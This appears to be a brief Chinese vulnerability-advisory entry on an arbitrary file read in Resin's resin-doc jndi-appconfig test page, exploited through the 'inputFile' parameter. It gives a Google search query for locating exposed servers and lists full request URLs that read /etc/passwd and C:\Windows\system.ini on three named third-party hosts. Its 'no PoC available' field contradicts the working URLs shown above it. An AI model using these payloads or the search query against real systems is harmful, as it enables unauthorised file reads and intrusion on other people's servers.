resin-doc 会议管理系统任意文件读取漏洞
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
http://***.***.***/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile= inputFile参数可任意文件读取 <https://www.google.com/?gws_rd=ssl#q=inurl:jndi-appconfig%2Ftest> google搜一下还可以搜到很多 比如: <http://www.comatek.ru:8080/resin-doc/examples/jndi-appconfig/test?inputFile=C:\Windows\system.ini> <http://www.stationery.frontrunnerpro.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd> <http://ns1.soccerstat.net/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd>
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
